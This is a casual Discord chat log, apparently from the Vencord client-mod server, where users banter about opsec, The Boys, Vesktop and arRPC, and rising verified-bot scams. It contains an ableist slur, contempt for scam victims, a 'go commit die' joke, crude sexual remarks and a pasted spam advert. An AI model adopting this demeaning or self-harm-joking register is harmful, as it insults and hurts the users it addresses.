i am actually an antarctican

i hang out with penguins

and eat polar bears

[light cedar]

this isn't IRC

[limpid canyon]

Where tf are you? Its 10am rn on like greenland and a few tiny islands off the coast off africa

Bruh

[waxen sphinx]

good opsec

[limpid canyon]

You could probably get my home address from my messages here

[jolly temple]

typical youtube are special ngl

[limpid canyon]

Not that I really care but you could

I've said what city I live in and roughly where

Not a big place

Come visit if you figure it out

[spark crescent]

opens chat

sees cat

day ruined

[light cedar]

oh

homelander is dating a nazi

that is

not very surprising actually

[spark crescent]

Oh

[sturdy folio]

have you watched the series 😭

he is like the embodiment of evil ofc he would

[light cedar]

yes I am at the part where homelander dates a nazi

[sturdy folio]

oh ok

[light cedar]

that's why I said it isn't very surprising

[foggy topaz]

Hi

[light cedar]

bye

[jaunty stag]

nicest vencord member

[light cedar]

oh right

they literally named her after stormfront

the gooner dreaded bussy

https://tenor.com/view/home-homelander-the-boys-milk-gif-9228418437453891441

[jaunty stag]

vencord wilding today

[quaint scroll]

its pretty fine for me

prolly cuz i run vesktop

[jaunty stag]

i meant the chat

[quaint scroll]

oh lmao i see

[jaunty stag]

also vesktop is just discord web + vencord

[lapis lava]

vesktop love

[quaint scroll]

arrpc made it 100 times better

[lapis lava]

yop

[quaint scroll]

yop

[sturdy folio]

yop

[quaint scroll]

vscode discord rpc no worky lmao

[crisp finch]

prob VSC is launched as admin

[somber leaf]

#🏥-vencord-support-🏥 ?

[crisp finch]

or the other way around

[quaint scroll]

nop

[crisp finch]

discord launched as adm?

[quaint scroll]

both are launched from the lil gnome search thing

also i use vesktop

[jaunty stag]

we love lil gnome search

[quaint scroll]

probably an arrpc issue

arrpc gotta fix it not vencord

[open pasture]

how do i make a plugin request

[waxen sphinx]

https://tenor.com/view/cat-cute-cat-yap-yapper-yapping-gif-5642199211123099306

[open pasture]

okay thank you!

[teal coral]

it's sad to see discord making it so u can verify ur bot within a minute it has been created...

scams gonna rise

[crisp finch]

only retarded people fall for scams

[teal coral]

ok i know but, when it's a verified bot they might start to fall more often

i expect the scams to rise by at least 25%

[crisp finch]

thats their problem

[jolly temple]

some used car my home pft

[waxen sphinx]

thats certainly a take

[open pasture]

okay thats like mean

[crisp finch]

truth often is mean

[teal coral]

they c ould make it like before, except the servers requirements, be able to verify and allat but you would need to write the email to confirm the intents...

[open pasture]

Real

[quiet glen]

discord is less likely to care, considering that the masking of links via markdown being used as a scam still exists

[teal coral]

yes but those are easy to detect

but imagine a user who doesn't really fw development that much, and sees the verified check on a bot

especially if it'[s a popular bot

and gets scammed that way

[wintry dirge]

I just want to say, this is the first client mod I was able to download and install plugins on without everything immediately crashing and burning down. Thank you devs

[sturdy folio]

verified bot scams have already been going around

mostly because you can just clone a moderation bot from github, instantly get it verified and then use it to scam people

[quiet glen]

It's not obvious unless the user hovers over the link or views it through inspect element. Either way, user gullability has never seen any decline since like the start of scams floating around on discord. Common sense in that, "if it is too good to be true, it probably is" applies, yet is seemingly lost in discord

[sturdy folio]

there is quite literally a popup telling you where it redirects to

no inspect element needed

[sturdy folio]

if you use always trust thats your fault

[jaunty stag]

i love this sticker

[jaunty stag]

people who fall for those poorly executed scams shouldnt be on the internet

[stark herald]

many of the users who'd fall for it would fall for it even if there wasn't a verified thing

also even if an user does click a link ignoring the warning they'd have to login or download and run a file to get scammed/hacked

[sturdy folio]

guys have you noticed that people complain about the ps5 having no games instead of playing games on it...

[quiet glen]

Thing is it always is user fault, but they'll never admit that until it is too late if ever. Every now and then an old discord account gets compromised and starts spreading steam gift scams is hardly new

[sturdy folio]

i think this means that the ps5 has no games...

[soft wadi]

me as fuck

thank u stella

some people here need to learn when to stop petting

[crude fern]

bwa,,

im so eepy

[somber leaf]

Some people need to know when to stop [REDACTED]

[jaunty stag]

i know this is supposed to be a joke but I hate people who act like they've been lobotomized

[crude fern]

ppl should respect others wants n needs i agree

[soft wadi]

real

[crude fern]

thats me tho

[crude fern]

i was born with a lobotomy

[jaunty stag]

you got lobotomized

[crude fern]

yes

[jaunty stag]

2nd time wont hurt

[crisp finch]

gentoo stinky

[crude fern]

[sleek stirrup]

What

[crude fern]

i dont need braimcell

[sleek stirrup]

[celest sparrow]

Join Luminar Now
-Growing Community📈
-Tournaments Coming Soon⚜️
-Valorant, Fortnite and Rocket League🚨
-No Requirements 🔓
Dm @user to join

[crude fern]

i should take my meds

[sleek stirrup]

That's crazy

[jaunty stag]

whos @user

[sleek stirrup]

The chosen one

[light cedar]

go commit die

[sleek stirrup]

Always has been.

[jaunty stag]

git reset --hard

[daring cloud]

@jannie*

[crude fern]

Join Fortnite Now
-Growing Fortnite 📈
-Fortnite Coming Soon⚜️
-Fortnite, Fortnite and Fortnite 🚨
-No Fortnite 🔓
Dm @Fortnite to Fortnite

[jaunty stag]

@fortnite

[daring cloud]

@craggy sorrel no work

[jaunty stag]

unfortunate

[sleek stirrup]

Fortnited.

[wintry dirge]

seems like @user has his dms off, can't join luminar 😔

[crude fern]

@ d1sc0rdsuckscock#0000

[sleek stirrup]

If only user didn't have their dms off we could've joined luminar

[crude fern]

real user here btw

[light cedar]

real

[daring cloud]

how do I summon people

[sleek stirrup]

Nah I'm dead no vennie

[light cedar]

me when discord.gg/vencord